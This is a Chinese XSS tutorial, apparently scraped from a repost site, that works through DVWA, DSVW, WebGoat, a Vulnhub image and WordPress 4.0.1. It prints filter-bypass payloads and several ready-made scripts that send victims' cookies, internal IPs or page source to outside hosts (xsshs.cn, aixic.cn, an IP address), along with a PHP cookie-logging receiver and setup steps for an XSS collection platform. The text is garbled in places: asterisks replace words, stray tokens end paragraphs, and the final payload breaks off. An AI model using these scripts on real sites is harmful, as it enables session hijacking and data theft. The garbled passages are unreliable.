[紅日安全]Web安全Day2 - XSS跨站實戰***

本文由紅日安全成員: Aixic 編寫,若有不當,還望斧正。php

你們好,咱們是紅日安全-Web安全***小組。此項目是關於Web安全的系列文章分享,還包含一個HTB靶場供你們練習,咱們給這個項目起了一個名字叫 Web安全實戰 ,但願對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分爲PHP靶場、JAVA靶場、Python靶場基本上三種靶場所有涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),若是對你們有幫助請Star鼓勵咱們創做更好文章。若是你願意加入咱們,一塊兒完善這個項目,歡迎經過郵件形式(sec-redclub@qq.com)聯繫咱們。html

1.XSS漏洞概述

1.1 漏洞簡介

跨站腳本***—XSS(Cross Site Script),是指***者經過在Web頁面中寫入惡意腳本,形成用戶在瀏覽頁面時,控制用戶瀏覽器進行操做的***方式。假設,在一個服務端上,有一處功能使用了這段代碼,他的功能是將用戶輸入的內容輸出到頁面上,很常見的一個功能。可是假如,這裏輸入的內容是一段通過構造的js。那麼在用戶再次訪問這個頁面時,就會獲取使用js在用戶的瀏覽器端執行一個彈窗操做。經過構造其餘相應的代碼,***者能夠執行更具危害的操做。java

1.2 XSS漏洞原理

1.2.1 反射型

非持久型,常見的就是在URL中構造,將惡意連接發送給目標用戶。當用戶訪問該連接時候,會向服務器發起一個GET請求來提交帶有惡意代碼的連接。形成反彈型XSS
主要是GET類型python

1.2.2 存儲型

持久型,常見的就是在博客留言板、反饋投訴、論壇評論、將惡意代碼和正文都存入服務器的數據庫。每次訪問都會觸發惡意代碼。
例如:<srcipt>alert(/xss/)</srcipt>mysql

1.2.3 DOM型

DOM型是特殊的反射型XSS
在網站頁面中有許多頁面的元素,當頁面到達瀏覽器時瀏覽器會爲頁面建立一個頂級的Document object文檔對象,接着生成各個子文檔對象,每一個頁面元素對應一個文檔對象,每一個文檔對象包含屬性、方法和事件。能夠經過JS腳本對文檔對象進行編輯從而修改頁面的元素。也就是說,客戶端的腳本程序能夠經過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就能夠利用JS腳原本實現XSS漏洞的利用。git

<script>var img=document.createElement("img");img.src="http://xxxx/a?"+escape(document.cookie);</script>

1.3 XSS危害

1.3.1 盜取管理員cookie

盜取管理員的cookie而後登錄後臺,獲取到後臺權限。github

1.3.2 XSS蠕蟲***

能夠構成幾何的速度進行傳播xss代碼,獲取大部分人的權限。通常配合csrf使用web

1.4 經常使用XSS語句

<script>alert(/xss/);</script> //經典語句 <BODY ONLOAD=alert('XSS')> <img src=x onerror=alert(1)> <svg onload=alert(1)> <a href = javasript:alert(1)>

1.5 XSS漏洞繞過

1.5.1 JS編碼

三個八進制數;若是不夠前面補0
兩個十六進制數字;若是不夠前面補0
四個十六進制數字;若是不夠前面補0
控制字符sql

1.5.2 HTML實體編碼

&開始;結束數據庫

1.5.3 URL編碼

%27
考慮HTML的渲染方式選擇合適的編碼方式進行測試

1.6 XSS漏洞瀏覽器問題

有些瀏覽器會過濾掉一些js腳本,在測試的時候須要關閉對JavaScript的檢測。

0x06 XSS漏洞防護

過濾輸入的數據,和非法字符‘ 「 < > on* 等」’
輸出到頁面的數據進行相應的編碼轉換包括HTML實體編碼、JavaScript編碼等

2. 測試方法

2.1 手工測試

這裏咱們選取DVWA靶場進行手工測試。

2.1.1

2.1.1.1 DVWA 簡介

DVWA是用PHP+Mysql編寫的一套用於常規WEB漏洞教學和檢測的WEB脆弱性測試程序。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。

2.1.1.2 DVWA 安裝

https://github.com/ethicalhack3r/DVWA/archive/master.zip

本地PHPStudy搭建DVWA靶機,放入www目錄下便可
環境使用PHP+MySQL便可。

20190814151701-827d64f2-be63-1.png

修改config.inc.php.dist配置文件中的數據庫密碼,而且把文件後綴.dist去掉
20190814151714-8a93ca82-be63-1.png

由於是xss實驗,因此上面的紅字可無視,重置一下數據庫進入靶場
20190814151734-96201978-be63-1.png

用戶名:admin 密碼:password 登錄靶場
20190814151736-974580f4-be63-1.png

默認的難度是impossible級別,先選擇low級別
20190814151745-9ccddcc4-be63-1.png

2.1.1.3 測試過程

Low
Low_DOM XSS
</option></select><img src=## onerror=alert(document.cookie)>便可觸發XSS
20190814151751-a0ac3016-be63-1.png

Low_Reflected XSS
直接使用<script>alert(document.cookie)</script>
20190814151759-a5055160-be63-1.png

Low_Stored XSS
20190814151809-aaeb9698-be63-1.png
20190814151810-ac0a6c2a-be63-1.png

Medium
Medium_DOM XSS
從Medium級別就開始有加固
20190814151812-acf58afc-be63-1.png

能夠看到它先判斷default是否爲空,若是不爲空,判斷下面判斷GET輸入進來的變量default是否存在<script若是存在就重定向到?default=English
用以前low級別的代碼就能夠進行繞過

</option></select><img src=## onerror=alert(document.cookie)>

20190814151813-ada8c89c-be63-1.png

Medium_Reflected XSS
20190814151815-ae9ff2c0-be63-1.png

分析發現現實判斷是否爲空,若是不爲空再判斷其中的內容若是有<script>就替換成空複寫就能夠繞過

<sc<script>ript>alert(document.cookie)</script>

20190814151820-b1e57950-be63-1.png

Medium_Stored XSS

20190814151824-b3fd15fe-be63-1.png

在信息框把全部的特殊字符都進行了addslashes轉義,在name那塊仍然能夠用複寫繞過、
可是name處限制了長度,改一下便可
20190814151828-b6c3da7a-be63-1.png20190814151833-b9ccfeea-be63-1.png

20190814151835-baeea3a0-be63-1.png

High
High_DOM XSS
High級別的代碼的限制就比較多,可是還能利用
20190814151838-bc3ae002-be63-1.png

只能選擇case後面的參數來提交,若是不是就按照默認English
構造語句,這裏的##是URL的錨點,讓瀏覽器判斷這裏終止,主要是讓本地存儲這個xss語句,發送到服務端進行驗證的是##前面的內容,達到了繞過的目的

English##<script>alert(document.cookie)</script>

20190814151839-bd22e1e0-be63-1.png

20190814151840-bdc0cfea-be63-1.png

High_Reflected XSS
20190814151850-c36a2afe-be63-1.png

上述代碼進行了正則替換,只要包含script這些都會進行替換,不使用script便可

<img src=1 onerror=alert(document.cookie)>

20190814151854-c5e17292-be63-1.png

High_Stored XSS
20190814151856-c73486ac-be63-1.png

跟上面同理,在name處進行xss,仍然須要改name長度
20190814151901-ca7eadce-be63-1.png

Impossible
Impossible級別利用失敗
20190814151903-cb353940-be63-1.png

無敵防護方法使用htmlspecialchars函數對輸入的數據實例化,失去自己做用。

2.1.2 DSVW

2.1.2.1 DSVW 簡介

Damn Small Vulnerable Web (DSVW) 是使用 Python 語言開發的 Web應用漏洞 的演練系統。其系統只有一個 python 的腳本文件組成, 當中涵蓋了 26 種 Web應用漏洞環境, 而且腳本代碼行數控制在了100行之內, 當前版本v0.1m。須要python (2.6.x 或 2.7)而且得安裝lxml庫

2.1.2.2 DSVW 安裝

安裝python-lxml,再下載DSVW

apt-get install python-lxml git clone https://github.com/stamparm/DSVW.git

直接運行
20190814151906-cd599d4c-be63-1.png20190814151907-cdf3e38e-be63-1.png

若是出現ip沒法訪問的狀況改一下代碼便可
20190814151908-ce61b49a-be63-1.png

2.1.2.3 測試過程

XSS(Reflected)
由於這個網站沒有cookie,因此直接彈射信息
代碼<script>alert(/xss aixi/)</script>
20190814151918-d45c1b4c-be63-1.png

XSS(Stored)
http://10.1.1.14:65412/?comment=%3Cscript%3Ealert(/xss%20aixi/)%3C/script%3E
代碼<script>alert(/xss aixi/)</script>
20190814151921-d60edd1c-be63-1.png

直接彈射

XSS(DOM)
?##lang=<script>alert(/xss%20aixi/)</script>
20190814151922-d6c11612-be63-1.png

直接彈射

XSS(JSON)
20190814151923-d75d2624-be63-1.png

20190814151925-d877677c-be63-1.png

看代碼可發現
構造語句alert(/xss/)便可不用帶script
20190814151926-d8d8bb3a-be63-1.png

2.2 工具測試

由於要測試因此須要關閉DVWA的登錄驗證
加上$dvwaSession[ 'username' ]='admin';
20190814151926-d9581c22-be63-1.png
在config/config.inc.php把默認難度也改爲low
20190814151927-d9c95a22-be63-1.png

2.2.1 BruteXSS

下載連接

https://github.com/ym2011/penetration/tree/master/BruteXSS

20190814151933-dd0ff48e-be63-1.png
20190814151935-de802852-be63-1.png

測試過程當中會由於DVWA的cookie驗證嚴格出現問題,把dvwa的代碼進行本地測試利用便可
20190814151939-e0aa80a0-be63-1.png

2.2.2 xxser

Kali自帶或下載連接

在基於Debian的系統上安裝 sudo apt-get install python-pycurl python-xmlbuilder python-beautifulsoup python-geoip 使用

20190814151940-e1819536-be63-1.png

利用成功

20190814151950-e79e67f0-be63-1.png

2.3 XSS平臺搭建

2.3.1 平臺介紹

XSS平臺能夠輔助安全測試人員對XSS相關的漏洞危害進行深刻學習,瞭解XSS的危害重視XSS的危害,若是要說XSS能夠作哪些事情,XSS能夠作js可以作的全部事情。包括但不限於:竊取Cookie、後臺增刪改文章、釣魚、利用XSS漏洞進行傳播、修改網頁代碼、網站重定向、獲取用戶信息(如瀏覽器信息,IP地址等)等。
XSS平臺項目名稱:BlueLotus_X***eceiver
做者:firesun(來自清華大學藍蓮花戰隊)
項目地址:https://github.com/firesunCN/BlueLotus_X***eceiver

2.3.2 平臺環境

服務器操做系統:ubuntu14
web容器:Apache2
腳本語言:PHP7
安裝http server與php環境(ubuntu: sudo apt-get install apache2 php5 或 sudo apt-get install apache2 php7.0 libapache2-mod-php7.0)

2.3.3 平臺部署

文件解壓到www根目錄
而後給個權限,爲了防止出錯
20190814151951-e80d1286-be63-1.png
權限的問題已經解決了
20190814151952-e887b022-be63-1.png
打開網頁訪問admin.php進行自動部署,點擊安裝
20190814151955-ea1d2d86-be63-1.png
設置一下後臺登錄密碼
20190814151958-ec13d20c-be63-1.png
點擊下一步,部署成功20190814152004-ef7787b8-be63-1.png

2.3.4 平臺使用

登錄平臺,在公共模版處使用默認js來進行
修改一下網站的地址
20190814152015-f623b7ee-be63-1.png
改爲這樣便可
20190814152016-f6bb4348-be63-1.png
點擊下面的修改便可成功應用
20190814152018-f7f8c320-be63-1.png
下面開始使用這個默認的JS腳本進行XSS,複製一下js地址https://aixic.cn/XXXSSS/template/default.js
20190814152021-f9be0cec-be63-1.png
在DVWA中插入試試

<sCRiPt sRC=https://aixic.cn/XXXSSS/template/default.js></sCrIpT>

20190814152024-fb73c48c-be63-1.png
能成功反射cookie

20190814152026-fcd5acb4-be63-1.png

2.3.5 平臺擴展

2.3.5.1 XSS平臺反射注入

介紹一個以前在比賽看見有個師傅玩的操做,用xss進行內網SQL注入。ps:雖然他x錯地方了並且跟注入不要緊,可是看着挺好玩的,進行了一個簡單的布爾判斷xss

xmlhttp=new XMLHttpRequest(); var d1=new Date(); t1=d1.getTime(); xmlhttp.onreadystatechange=function(){ if(xmlhttp.readyState==4 && xmlhttp.status==200){ var d2=new Date(); t2=d2.getTime(); location.href="http://123.207.99.17/id1?xssaaaa"+escape(xmlhttp.responseText)+"timeCost"+String(t2-t1); } } xmlhttp.open("POST","/Ze02pQYLf5gGNyMn/login.php",true); xmlhttp.send("username=admi/**/or/**/1&password=1");

2.3.5.2 使用郵件提醒

設置一下config.php裏的與郵件相關的

20190814152027-fd468042-be63-1.png

直接去別的XSS平臺去扒他們的腳本,拿來就能用

如這個獲取內網IP的腳本

var RTCPeerConnection = window.webkitRTCPeerConnection || window.mozRTCPeerConnection; if (RTCPeerConnection) (function() {     var rtc = new RTCPeerConnection({         iceServers:[]     });     if (1 || window.mozRTCPeerConnection) {         rtc.createDataChannel("", {             reliable:false         });     }     rtc.onicecandidate = function(evt) {         if (evt.candidate) grepSDP("a=" + evt.candidate.candidate);     };     rtc.createOffer(function(offerDesc) {         grepSDP(offerDesc.sdp);         rtc.setLocalDescription(offerDesc);     }, function(e) {         console.warn("offer failed", e);     });     var addrs = Object.create(null);     addrs["0.0.0.0"] = false;     function updateDisplay(newAddr) {         if (newAddr in addrs) return; else addrs[newAddr] = true;         var displayAddrs = Object.keys(addrs).filter(function(k) {             return addrs[k];         }); new Image().src="https://xsshs.cn/xss.php?do=selfxss&act=g&id={projectId}&c=!!!cookie:"+document.cookie+"!!!ip:"+String(displayAddrs);     }     function grepSDP(sdp) {         var hosts = [];         sdp.split("\r\n").forEach(function(line) {             if (~line.indexOf("a=candidate")) {                 var parts = line.split(" "), addr = parts[4], type = parts[7];                 if (type === "host") updateDisplay(addr);             } else if (~line.indexOf("c=")) {                 var parts = line.split(" "), addr = parts[2];                 updateDisplay(addr);             }         });     } })();

獲取頁面源碼的腳本

var cr; if (document.charset) {   cr = document.charset } else if (document.characterSet) {   cr = document.characterSet }; function createXmlHttp() {   if (window.XMLHttpRequest) {     xmlHttp = new XMLHttpRequest()   } else {     var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');     for (var n = 0; n < MSXML.length; n++) {       try {         xmlHttp = new ActiveXObject(MSXML[n]);         break       } catch (e) {       }     }   } } createXmlHttp(); xmlHttp.onreadystatechange = writeSource; xmlHttp.open('GET', '{set.filename}', true); xmlHttp.send(null); function writeSource() {   if (xmlHttp.readyState == 4) {       var code = BASE64.encoder(xmlHttp.responseText);       xssPost('https://xsshs.cn/xss.php?do=api&id={projectId}', code);   } }   function xssPost(url, postStr) {     var de;     de = document.body.appendChild(document.createElement('iframe'));     de.src = 'about:blank';     de.height = 1;     de.width = 1;     de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');     de.contentDocument.forms[0].submit();     de.style.display = 'none'; } /**  *create by 2012-08-25 pm 17:48  *@author hexinglun@gmail.com  *BASE64 Encode and Decode By UTF-8 unicode  *能夠和java的BASE64編碼和解碼互相轉化  */ (function(){     var BASE64_MAPPING = [     'A','B','C','D','E','F','G','H',     'I','J','K','L','M','N','O','P',     'Q','R','S','T','U','V','W','X',     'Y','Z','a','b','c','d','e','f',     'g','h','i','j','k','l','m','n',     'o','p','q','r','s','t','u','v',     'w','x','y','z','0','1','2','3',     '4','5','6','7','8','9','+','/'   ];   /**    *ascii convert to binary    */   var _toBinary = function(ascii){     var binary = new Array();     while(ascii > 0){       var b = ascii%2;       ascii = Math.floor(ascii/2);       binary.push(b);     }     /*     var len = binary.length;     if(6-len > 0){       for(var i = 6-len ; i > 0 ; --i){         binary.push(0);       }     }*/     binary.reverse();     return binary;   };   /**    *binary convert to decimal    */   var _toDecimal  = function(binary){     var dec = 0;     var p = 0;     for(var i = binary.length-1 ; i >= 0 ; --i){       var b = binary[i];       if(b == 1){         dec += Math.pow(2 , p);       }       ++p;     }     return dec;   };   /**    *unicode convert to utf-8    */   var _toUTF8Binary = function(c , binaryArray){     var mustLen = (8-(c+1)) + ((c-1)*6);     var fatLen = binaryArray.length;     var diff = mustLen - fatLen;     while(--diff >= 0){       binaryArray.unshift(0);     }     var binary = [];     var _c = c;     while(--_c >= 0){       binary.push(1);     }     binary.push(0);     var i = 0 , len = 8 - (c+1);     for(; i < len ; ++i){       binary.push(binaryArray[i]);     }     for(var j = 0 ; j < c-1 ; ++j){       binary.push(1);       binary.push(0);       var sum = 6;       while(--sum >= 0){         binary.push(binaryArray[i++]);       }     }     return binary;   };   var __BASE64 = {       /**        *BASE64 Encode        */       encoder:function(str){         var base64_Index = [];         var binaryArray = [];         for(var i = 0 , len = str.length ; i < len ; ++i){           var unicode = str.charCodeAt(i);           var _tmpBinary = _toBinary(unicode);           if(unicode < 0x80){             var _tmpdiff = 8 - _tmpBinary.length;             while(--_tmpdiff >= 0){               _tmpBinary.unshift(0);             }             binaryArray = binaryArray.concat(_tmpBinary);           }else if(unicode >= 0x80 && unicode <= 0x7FF){             binaryArray = binaryArray.concat(_toUTF8Binary(2 , _tmpBinary));           }else if(unicode >= 0x800 && unicode <= 0xFFFF){//UTF-8 3byte             binaryArray = binaryArray.concat(_toUTF8Binary(3 , _tmpBinary));           }else if(unicode >= 0x10000 && unicode <= 0x1FFFFF){//UTF-8 4byte             binaryArray = binaryArray.concat(_toUTF8Binary(4 , _tmpBinary));             }else if(unicode >= 0x200000 && unicode <= 0x3FFFFFF){//UTF-8 5byte             binaryArray = binaryArray.concat(_toUTF8Binary(5 , _tmpBinary));           }else if(unicode >= 4000000 && unicode <= 0x7FFFFFFF){//UTF-8 6byte             binaryArray = binaryArray.concat(_toUTF8Binary(6 , _tmpBinary));           }         }         var extra_Zero_Count = 0;         for(var i = 0 , len = binaryArray.length ; i < len ; i+=6){           var diff = (i+6)-len;           if(diff == 2){             extra_Zero_Count = 2;           }else if(diff == 4){             extra_Zero_Count = 4;           }           //if(extra_Zero_Count > 0){           //  len += extra_Zero_Count+1;           //}           var _tmpExtra_Zero_Count = extra_Zero_Count;           while(--_tmpExtra_Zero_Count >= 0){             binaryArray.push(0);           }           base64_Index.push(_toDecimal(binaryArray.slice(i , i+6)));         }         var base64 = '';         for(var i = 0 , len = base64_Index.length ; i < len ; ++i){           base64 += BASE64_MAPPING[base64_Index[i]];         }         for(var i = 0 , len = extra_Zero_Count/2 ; i < len ; ++i){           base64 += '=';         }         return base64;       },       /**        *BASE64  Decode for UTF-8         */       decoder : function(_base64Str){         var _len = _base64Str.length;         var extra_Zero_Count = 0;         /**          *計算在進行BASE64編碼的時候,補了幾個0          */         if(_base64Str.charAt(_len-1) == '='){           //alert(_base64Str.charAt(_len-1));           //alert(_base64Str.charAt(_len-2));           if(_base64Str.charAt(_len-2) == '='){//兩個等號說明補了4個0             extra_Zero_Count = 4;             _base64Str = _base64Str.substring(0 , _len-2);           }else{//一個等號說明補了2個0             extra_Zero_Count = 2;             _base64Str = _base64Str.substring(0 , _len - 1);           }         }         var binaryArray = [];         for(var i = 0 , len = _base64Str.length; i < len ; ++i){           var c = _base64Str.charAt(i);           for(var j = 0 , size = BASE64_MAPPING.length ; j < size ; ++j){             if(c == BASE64_MAPPING[j]){               var _tmp = _toBinary(j);               /*不足6位的補0*/               var _tmpLen = _tmp.length;               if(6-_tmpLen > 0){                 for(var k = 6-_tmpLen ; k > 0 ; --k){                   _tmp.unshift(0);                 }               }               binaryArray = binaryArray.concat(_tmp);               break;             }           }         }         if(extra_Zero_Count > 0){           binaryArray = binaryArray.slice(0 , binaryArray.length - extra_Zero_Count);         }         var unicode = [];         var unicodeBinary = [];         for(var i = 0 , len = binaryArray.length ; i < len ; ){           if(binaryArray[i] == 0){             unicode=unicode.concat(_toDecimal(binaryArray.slice(i,i+8)));             i += 8;           }else{             var sum = 0;             while(i < len){               if(binaryArray[i] == 1){                 ++sum;               }else{                 break;               }               ++i;             }             unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+1 , i+8-sum));             i += 8 - sum;             while(sum > 1){               unicodeBinary = unicodeBinary.concat(binaryArray.slice(i+2 , i+8));               i += 8;               --sum;             }             unicode = unicode.concat(_toDecimal(unicodeBinary));             unicodeBinary = [];           }         }         return unicode;       }   };   window.BASE64 = __BASE64; })();

2.4 簡易xss平臺搭建

JS腳本

var img = document.createElement("img"); img.src = "http://xxx/x.php?cookie="+document.cookie; document.body.appendChild(img);

接收端

<?php   $victim = 'XXS獲得的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie']."\r\n\r\n";   echo htmlspecialchars($_GET['cookie']); $myfile = fopen("/aixi/XSS/xss_victim.txt", "a"); fwrite($myfile, $victim); ?>

20190814152029-fe667874-be63-1.png

2.5 WebGoat 簡介

WebGoat是OWASP組織研製出的用於進行web漏洞實驗的Java靶場程序,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本***(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。

2.5.1 WebGoat 安裝

https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webgoat-server-8.0.0.M25.jar https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M25/webwolf-8.0.0.M25.jar

20190814152030-ff0db652-be63-1.png
默認是127.0.0.1 ,只能本機訪問,須要更改
java -jar webgoat-server-8.0.0.M25.jar --server.address=0.0.0.0
20190814152047-091da90e-be64-1.png
需更新到最新的java版本

https://www.oracle.com/technetwork/java/javase/downloads/jdk12-downloads-5295953.html

安裝java步驟省略,安裝好了開始運行
20190814152047-09a2730a-be64-1.png
20190814152104-1377ec52-be64-1.png
訪問http://192.168.123.25:8080/WebGoat

2.5.2 測試過程

2.5.2.1 XSS(DOM)

第一個

***語句<script>alert(document.cookie)</script>
20190814152108-15eae868-be64-1.png

第二個

20190814152113-18b1ca8a-be64-1.png
去找js腳本看裏面的內容。
20190814152114-193286d4-be64-1.png
輸入
start.mvc#test/

第三個

結合上一個題的東西路徑+基本參數構成
20190814152116-1a9a9d5e-be64-1.png
***語句start.mvc##test/<script>alert(document.cookie),通過測試發現若是輸入<script>他會本身補全,因此就不用輸入</script>20190814152118-1c111398-be64-1.png

2.5.2.2 XSS(Stored)

***代碼<script>alert(document.cookie)</script>,直接留言板插入便可沒有過濾
20190814152120-1ce16a20-be64-1.png
20190814152129-224df0dc-be64-1.png

  1. 真實實戰演練

3.1 Vulnhub 簡介

Vulnhub是一個提供各類漏洞環境的靶場平臺,供安全愛好者學習***使用,大部分環境是作好的虛擬機鏡像文件,鏡像預先設計了多種漏洞,須要使用VMware或者VirtualBox運行。每一個鏡像會有破解的目標。

3.2 Vulnhub 安裝

這裏下載關於xss的(下載32位的,之後能夠用來作溢出***)

https://download.vulnhub.com/pentesterlab/xss_and_mysql_file_i386.iso

20190814152133-24a0136a-be64-1.png
打開VMware經典模式掛上鏡像一直下一步,選擇橋接模式就能自動分配一個IP地址

20190814152135-2603a4d8-be64-1.png
20190814152138-27a1a51a-be64-1.png
安裝成功

3.3 Vulnhub 漏洞介紹

本練習說明如何使用跨站點腳本漏洞來訪問管理員的cookie。而後,您將如何使用他/她的會話來訪問管理以查找SQL注入並使用它來獲取代碼執行。這個靶場主要是作一個xss反射
用戶名admin 密碼P4ssw0rd

3.4 Vulnhub 漏洞演示

20190814152142-29eb83cc-be64-1.png
直接點留言
20190814152143-2aa7fbb0-be64-1.png
20190814152144-2b439020-be64-1.png
成功,由於是真實環境,咱們這裏直接用xss平臺搞
20190814152144-2ba495f0-be64-1.png
管理員查看留言板觸發xss
20190814152145-2c1d37ee-be64-1.png
20190814152146-2cb0a39e-be64-1.png
便可成功冒充用戶登陸
20190814152148-2dfeedaa-be64-1.png

3.5 Vulnhub 漏洞修復

對輸入處進行實例化,是最有效最簡單的方法,若是是替換代碼,量就比較大
20190814152154-314395ce-be64-1.png
實例化classes/post.php

<?php class Post{   public $id, $title, $text, $published;   function __construct($id, $title, $text, $published){     $this->title= $title;     $this->text = $text;     $this->published= $published;     $this->id = $id;   }      function all($cat=NULL,$order =NULL) {     $sql = "SELECT * FROM posts";     if (isset($order))        $sql .= "order by ".mysql_real_escape_string($order);       $results= mysql_query($sql);     $posts = Array();     if ($results) {       while ($row = mysql_fetch_assoc($results)) {         $posts[] = new Post($row['id'],$row['title'],$row['text'],$row['published']);       }     }     else {       echo mysql_error();     }     return $posts;   }   function render_all($pics) {     echo "<ul>\n";     foreach ($pics as $pic) {       echo "\t<li>".$pic->render()."</a></li>\n";     }     echo "</ul>\n";   }  function render_edit() {     $str = "<img src=\"uploads/".h($this->img)."\" alt=\"".h($this->title)."\" />";     return $str;   }    function render() {     $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";     $str.= '<div>';     $str.= "<p>".htmlentities($this->text)."</p></div>";        $str.= "<p><a href=\"/post.php?id=".h($this->id)."\">";     $count = $this->get_comments_count();     switch ($count) {     case 0:         $str.= "Be the first to comment";         break;     case 1:         $str.= "1 comment";         break;     case 2:         $str.= $count." comments";         break;     }         $str.= "</a></p>";     return $str;   }   function add_comment() {     $sql  = "INSERT INTO comments (title,author, text, post_id) values ('";     $sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."','";     $sql .= mysql_real_escape_string(htmlspecialchars($_POST["author"]))."','";     $sql .= mysql_real_escape_string(htmlspecialchars($_POST["text"]))."',";     $sql .= intval($this->id).")";     $result = mysql_query($sql);     echo mysql_error();    }    function render_with_comments() {     $str = "<h2 class=\"title\"><a href=\"/post.php?id=".h($this->id)."\">".h($this->title)."</a></h2>";     $str.= '<div style="padding-left: 40px;">';     $str.= "<p>".htmlentities($this->text)."</p></div>";        $str.= "\n\n<div><h3>Comments: </h3>\n<ul>";     foreach ($this->get_comments() as $comment) {       $str.= "\n\t<li>".$comment->text."</li>";     }     $str.= "\n</ul></div>";     return $str;   }   function get_comments_count() {     if (!preg_match('/^[0-9]+$/', $this->id)) {       die("ERROR: INTEGER REQUIRED");     }     $comments = Array();     $result = mysql_query("SELECT count(*) as count FROM comments where post_id=".$this->id);     $row = mysql_fetch_assoc($result);     return $row['count'];   }    function get_comments() {     if (!preg_match('/^[0-9]+$/', $this->id)) {       die("ERROR: INTEGER REQUIRED");     }     $comments = Array();     $results = mysql_query("SELECT * FROM comments where post_id=".$this->id);     if (isset($results)){       while ($row = mysql_fetch_assoc($results)) {         $comments[] = Comment::from_row($row);       }     }     return $comments;   }    function find($id) {     $result = mysql_query("SELECT * FROM posts where id=".$id);     $row = mysql_fetch_assoc($result);      if (isset($row)){       $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);     }     return $post;   }   function delete($id) {     if (!preg_match('/^[0-9]+$/', $id)) {       die("ERROR: INTEGER REQUIRED");     }     $result = mysql_query("DELETE FROM posts where id=".(int)$id);   }   function update($title, $text) {       $sql = "UPDATE posts SET title='";       $sql .= mysql_real_escape_string(htmlspecialchars($_POST["title"]))."',text='";       $sql .= mysql_real_escape_string(htmlspecialchars( $_POST["text"]))."' WHERE id=";       $sql .= intval($this->id);       $result = mysql_query($sql);       $this->title = $title;        $this->text = $text;    }    function create(){       $sql = "INSERT INTO posts (title, text) VALUES ('";       $title = mysql_real_escape_string(htmlspecialchars( $_POST["title"]));       $text = mysql_real_escape_string(htmlspecialchars( $_POST["text"]));       $sql .= $title."','".$text;       $sql.= "')";       $result = mysql_query($sql);   } } ?>

20190814152156-3258a544-be64-1.png
實例化成功
20190814152156-32ca71c4-be64-1.png

4. CMS實戰演練

4.1 WordPress簡介

WordPress於2003年開始使用一段代碼來加強平常寫做的印刷效果,用戶數量少於您能夠依靠手指和腳趾的數量。自那時起,它已成長爲世界上最大的自主託管博客工具,在數百萬個網站上使用,天天都有數千萬人看到。

4.2 WordPress部署

下載4.1版本如下

https://cn.wordpress.org/wordpress-4.0.1-zh_CN.zip

使用phpstudy搭建WordPress
放到跟目錄直接一把梭
20190814152158-33c461d4-be64-1.png

4.3 安裝

20190814152200-34f41950-be64-1.png
先建立一個數據庫create database wordpress;
20190814152202-35fd155e-be64-1.png
20190814152204-3792b2d4-be64-1.png
20190814152206-384b0fd2-be64-1.png
進行安裝
20190814152207-390ff900-be64-1.png
20190814152210-3a9cd1b2-be64-1.png20190814152211-3b6344d2-be64-1.png
安裝成功

4.4 WordPress漏洞介紹

漏洞出如今wordpress的留言處,不過問題是由mysql的一個特性引發的。在mysql的utf8字符集中,一個字符由1~3個字節組成,對於大於3個字節的字符,mysql使用了utf8mb4的形式來存儲。若是咱們將一個utf8mb4字符插入到utf8編碼的列中,那麼在mysql的非strict mode下,他的作法是將後面的內容截斷。截斷的話,就能繞過不少富文本過濾器了。好比,插入兩個評論<img src=1,和onerror=alert(1)//,這兩者都不會觸發某些富文本過濾器(由於前者並不含有白名單外的屬性,後者並非一個標籤),但兩個評論若是存在於同一個頁面,就會拼接成一個完整的HTML標籤,觸發onerror事件。

4.5 WordPress漏洞演示

先把Mysql的strict mode關閉
my.ini

將其中的 sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION" 修改成 sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"

***代碼//P神博客的
```
<abbr title="qweqw style=display:block;position:fixed;width:100%;height:100%;top:0; onmouseover=alert(1)//

banner.jpg

相關文章
相關標籤/搜索